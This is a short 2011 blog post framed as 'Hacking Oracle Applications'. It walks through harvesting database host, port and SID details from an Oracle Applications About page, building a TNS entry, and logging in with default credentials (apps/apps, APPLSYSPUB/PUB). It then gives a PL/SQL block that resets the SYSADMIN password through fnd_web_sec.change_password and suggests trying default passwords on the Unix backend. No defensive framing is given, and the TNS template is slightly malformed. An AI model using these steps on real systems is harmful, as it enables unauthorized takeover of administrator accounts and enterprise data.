Tuesday, 3 May 2011

Traceing TNS Entries(Hacking Oracle Applications)

Traceing TNS Entries(Hacking Oracle Applications) 
How to get Tns entries from front page of oracle application Screen. 

For more visibility Click on Image


Step 1: Click on About link Page. Then your are able to see the following screen
Step 2: Click on Page Context Tab


For more visibility Click on Image



You are able to Get following Information.
1) Data base Name (Hostname)
2)Port no#
3)SID Name 
Step 4: Build Tns Entries With following method and Paste it in local machine
Try to connect with default Password apps/apps


"SID"= 
(DESCRIPTION = 
(ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)
(HOST = "Host Name")
(PORT = "Port number")) ) 
(CONNECT_DATA = 
(SERVICE_NAME ="SID
)

  • Connect with Default username/password :
APPLSYSPUB/PUB

This username/password is hard-coded in FND_TOP/secure/appsweb.cfg file.

  • Once you get the DataBase access Use following Select statement gets the front URL access
.


  • select HOME_URL from icx_parameters

You will get Front-end access login Screen.
By useing APPS.FND_WEB_SEC package change the SYSADMIN or user password At SQL Prompt.

Example 1:
--Change Sysadmin Password from PL/SQL
set serverout on 
declare
ret varchar2(200);
begin
ret := fnd_web_sec.change_password('SYSADMIN', 
'Welcome1');
dbms_output.put_line('Result of Package'||ret);

---Y Means Success Else Fail.
end;
Commit;


Step 4: Finally Click on Java System Properties Scroll Down the Page. Your able to see the Unix Login user name(Back End User Access)
Step 5:Try to connect unix server with Default Password.


No comments: